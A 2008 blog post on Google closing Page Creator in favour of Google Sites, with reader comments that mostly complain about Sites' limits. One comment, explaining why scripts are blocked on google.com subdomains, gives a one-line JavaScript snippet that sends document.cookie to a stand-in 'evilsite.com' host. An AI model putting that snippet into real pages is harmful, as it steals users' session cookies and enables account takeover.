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August 9, 2008

Google Page Creator to Be Closed

This year, Google discontinued a lot of services: Browser Sync, Hello, Send to SMS and Send to Phone extension. Another Google Labs experiment is about to be discontinued: Page Creator, a simple way to create web pages without knowing HTML. Google Page Creator's rich text editor is now included in many other Google services, but Google decided to focus on the more powerful Google Sites.
We are no longer accepting new sign-ups for Page Creator because we have shifted our focus to developing Google Sites, which offers many of the capabilities of Page Creator along with new features like site-level navigation, site-level headers, control over who can see and edit your site, and rich embeddings like calendars, videos, and Google docs. If you are currently a Page Creator user, you can continue to use Page Creator and your pages will automatically be transitioned to Google Sites later this year.

It's not clear if Google will also move the files uploaded to Page Creator, so you can continue to use them. "For migrated sites we will automatically redirect your googlepages.com URL to the appropriate sites.google.com URL to ensure your visitors aren't lost due to the transition. In addition, we will be providing a means for you to download your site so that you can easily export it to other services if you choose to do so," explains Google.

Instead of having two overlapping services, Google decided to develop only one of them. "By concentrating our work on one product we hope to ultimately create a superior product than if we maintained the two products separately."


I'm not sure if Google Sites is a good replacement for Page Creator, since the interface is more complicated and there are many limitations: you can't add JavaScript code, embedded objects or iframes, it's more difficult to upload files and to setup a simple site.

{ via Google Blogoscoped }

41 comments:

  1. I've played with Google Sites. I guess that for some, it's fantastic. I found it slow and annoying, especially in how links are embedded. I am still waiting for Google Browser Emacs, I guess.

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  2. I changed from Page Creator to Sites as soon as Sites opened. I like that Creator lets you edit some html manually, but that's it.

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  3. Too bad. I like Creator better than Sites, myself. Is there a definitive date that Creator will be closed completely?

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  4. Welcome back :)

    Anyone notice Google Maps' face-lift. Anything different other than colour?

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  5. I don't like this at all. Now I have to tell about my new URLs in all the website and forum profiles I'm using (unfortunately I was expecting GPC to graduate from Google Labs). I also need to tell search engines my new URLs in case I want to move from Google Page Creator to some other site than Google Sites (for example Yahoo! GeoCities allows uploading HTML files). I'm used to creating geeky old school pages (optimized for any web browser and any operating system and making the size of the documents as small as possible still including all the important information on the pages) with little unnecessary content that is created by Web 2.0 technology used by Google Page Creator Page Manager and Google Sites. Uploading HTML files and using CSS files (or using CSS in HTML files) allows me to fully make my pages look the way I want instead of using the ugly templates available. Now Google Sites forces me to make my pages look much more disgusting than before.

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  6. How about the week without google, I think now you have to work for 24 hours to make the updated you missed.

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  7. I LIKE MY HTML!
    Please for the love of god, tell me you can manually edit HTML in Google Sites...
    If not, then this has majorly pissed me off.

    I don't want a damn Wiki.

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  8. Sorry for double commenting, but i just tried out Google Sites... while the interface is nicer, the features downright suck badly.

    Where is my file view? Without that, it is instantly worse than GPC, i want to know what files i have uploaded, where and sizes so i can easily see what files use the space.
    Without this, i think i might as well just find a new site altogether.
    Mind you, i am making my own site now, i guess depending on Google was a stupid thing.

    Also, "JavaScript, iframes, style tags and other custom code are removed to prevent their use by potential Web intruders."
    Yeah, style tags are SO DANGEROUS... they might BLINK someone to death (impossible anyway)
    This is just plain stupid, why not just create a smart filter to disable certain CSS? (say, like hiding Google-related elements or whatever)
    It isn't that hard for crying out loud, easy enough to do with regular expressions...

    And the reason for closing it is pretty much a lie.
    They are closing it to cut off a large amount of spam and other harmful things because they were too lazy to fix it.

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  9. How will this affect Google Apps for domains? When you register your domain with Google, you could use page creator to set up your site. Is that going away too?

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  10. Congrats Google, you've just matched MSN for suckiness in the ability to create sites online. Even Geocities has the ability to upload files, include javascript and styles and even upload MS Access if you want.

    Page creator was limited but you could work around it. Sites is just limited. Sites is for people too dumb to be able to use Geocities.

    One thing I discovered was that through gadgets you can include complex pages but they have to be stored somewhere else.

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  11. You aren't allowed to add JavaScript because the pages are hosted at a google.com subdomain and a simple

    (new Image()).src='http://evilsite.com/googlecookie.php?val'+document.cookie;

    can send your Google cookie to a third-party server and anyone who has that cookie can use your account if you are still logged in. Google should move all the sites to googlesites.com or a similar separate domain.

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  12. I'm so pissed at google right now. I've spent a lot of time on my GPC website

    ...and after wandering to google sites .... i KNOW it's not an improvement...and i'm not even a professional...it's not even remotely friendly to use..I watched the tutorial...a total waste of my time!

    Ugh! Does anyone have any suggestions on where I should move to...Thanks
    http://when.do.we.leave.googlepages.com/

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  13. Google Sites will have same destiny as Google Page Creator for sure ;)

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  14. Yes, but they could easily disable any Javascript they don't want, same as the way they do it now (but globally)

    The only things that would even be needed are the document.getElementBy*... styles, maths, DOM navigation and some other little things, but don't allow the obvious things that could be exploited. (maybe even create a whitelist of sites?)
    That is the only things you search for, any other code is dropped. (pretty much the rule for that really, search for what you want, not what you don't)

    Really, i can understand why they disabled javascript and embeddables, but STYLING?!
    What harm is that going to do? So what if someone tries to put a Myspace styling on Google Sites, it isn't going to kill them.
    Expression can be disabled easily, as well as any links. (and the link element too...sadly)

    Also, i totally agree with the GoogleSites being seperate, same with GooglePages.

    This has possibly got to be the most stupid thing Google has decided to do.
    Forget China and Censorship, that is nothing compared to this....

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  15. Because probably GPC will get shut down in 2008 I created my first Google Sites website so I could my move stuff to Google Sites by copying the HTML source of my HTML files to my new Google Sites pages (parts of the HTML will get removed, of course), which worked somewhat OK even though I had to do some tricks to make my pages look almost not disgusting on Google Sites. Then I made a JavaScript redirect from my 2 year old GPC website to my week old Google Sites website for search engines and now my new website is already locked/banned by Google i.e. I can't access my Google Sites settings anymore. Pretty easy to destroy your competitors if you only need a JavaScript redirect to their site.

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  16. Update to my problem: Google Sites' spam filter seems to be broken according to a post by a Google employee on the official Google Sites forum, so even new sites (even week old) can get disabled/banned in Google Sites. Maybe I'll wait for the automatic transition from Google Page Creator to Google Sites, as I have no idea what triggers the Google Sites spam filter. Is it the JavaScript redirection I mentioned, or too many new pages I needed to create as I have a few HTML files on my current Google Page Creator site or was the reason too many documents were the same for my old Google Page Creator site and Google Sites site when I was in the middle of moving my content to Google Sites. Anyway, Google Sites seems to be Beta and that word should appear everywhere on that site.

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  17. oh...I am also expecting the GPC to graduate from Google Labs...I think I'll miss the nice GPC Interface...I wish Google would change its mind for closing it. GPC is easier to use than Google Sites (My opinion)...

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  18. GPC is better that SITES in many cases. SITES doesn't support uploading html pages, which is really a big issue. And GPC is easier for a novice... I don't know why the hell Google is closing their most popular application on internet....

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  19. HEY!!! I found something you might be interested in!!!

    http://www.google.com/support/a/bin/request.py?contact_type=suggest

    Down near the bottom of that page, there is a button to suggest WEB HOSTING!!!!!!!!!!

    Rick4

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  20. I second Drudo's question, how will this affect Google Apps' Page Creator? I spent weeks making functional sites for the two domains I own (one is my family site, the other is a small family business I run).

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  21. Google Sites uses fix templates and makes all sites look similar. I think GS is suitable for intranet / colaboration purpose.

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  22. I think the problem is that GPC allowed users to upload .html/javascript etc; files when it's not what they wanted themselves. However, from what I saw on the service, this was what members __wanted__ but not Google itself. sites closes that off... So, I've moved to www.awardspace.com. There's a free service there. In the end, I paid for the basic service but the free one is adequate and it mirrors the features of GPC plus has a few extra ones like php support. You can create your own subdomain off the awardspace.com domain but if it's your family business you're showing off I'd recommend buying a domain name and keep this as your own in case your content provider goes South.

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  23. I can't believe Google is doing this!
    There are more people who want to upload .html than make them in their discraseful creator!
    And no scrips - wtf, wat do they think people are going to do with CSS and JS?

    Google is moving into line with all the other free hosting on the internet (orange, msn, etc) - its turning into a ignorant piece of crap that does not listen to what members want but instead provides a rubbish interface without the features real people actually want!

    Discusted in Google Sites - I shall no longer be using Google services when GCP is prematurely put to sleep.
    Pissed off!

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  24. Tried Google sites but it really didn't give me enough freedom to do what I want.

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  25. try yayapage better than it

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  26. How do I transfer my existing GPC url over to Google Sites? It's important. Google sites offer up some long http://blahblahblah.blahblah/blah/.blah

    I just want the url that everyone knows me by already.

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  27. I can't believe Google is getting rid of Page Creator, why can't they just keep both? I hate sites, it looks like shit, and you can't do anything with it! I've spent hours making my great little website on Page Creator, and I love it! I love being able to edit HTML to add videos and other things. How can we get google to not make this terrible decision?
    Feel free to email me at cmcaplan@gmail.com

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  28. Page Creator was MUCH better than Google Sites is. They say they wanted to focus on one product. So WHY didn't they focus on Page Creator instead. It was much more useful. Sites says to me, "I'm a joke and Google doesn't think you'll notice the huge differences between Page Creator and me."

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  29. I think it sucks that I can't write anything anymore on google page creator, but if it means that eventually things will get even better than before, well, keep sucking for a while longer--just don't take forever guys.

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  30. it was a very bad idea
    can i transfer my GPC to my own domain

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  31. Great! my Google-hosted website has gone from sucky functonality with GPC to no useful functionality in Sites. So much for the benefits of Google. Seems that Google has been bested in each of their platforms now, save AdWords.

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  32. I am saddened to discover that I will not be able to use my Dreamweaver 8 to build my Google web pages. It was going to be a great site to help a lot of people. I love Google and almost everything I know about it says that the people there are wonderful. I hate to see Googleers so abused in these Blog pages, but these changes do hurt a lot of people who were counting on some predictability in an unpredictable world.

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  33. Yes, I agree with most of you. I have spent months creating websites with google page creator, configuring css and javascript, optimising for search engines to get my visitors, etc. Now that google wants to take them away and move them to sites which is a lot more for collaboration / intranet type of website.. this is so ridiculous.. What a BIG disappointment I have for google if they are really going to do this :(

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  34. Does anyone know what is going to happen with our GPC domain names. Will they transfer?

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  35. So my Google Gadget that's hosted on GPC has 50,000 users.
    I did that because the Google Gadget docs used to recommend hosting on GPC.

    Oh well, sorry users! Google gives me no alternative... so you're out of luck when my gadget disappears inexplicably.

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  36. Here is the list of some best Google Pages Alternatives to Host any type of file including javascript files (.js), mp3, css, swf flash files etc.

    http://www.ialwayscapital.com/2009/05/alternatives-of-google-pages-file.html

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  37. Didn't know it existed-Wish we had got aquainted before they killed it

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  38. kad a credibilidade do google?

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  39. http://www.yayapage.com is anohter free web builder, you may try it.

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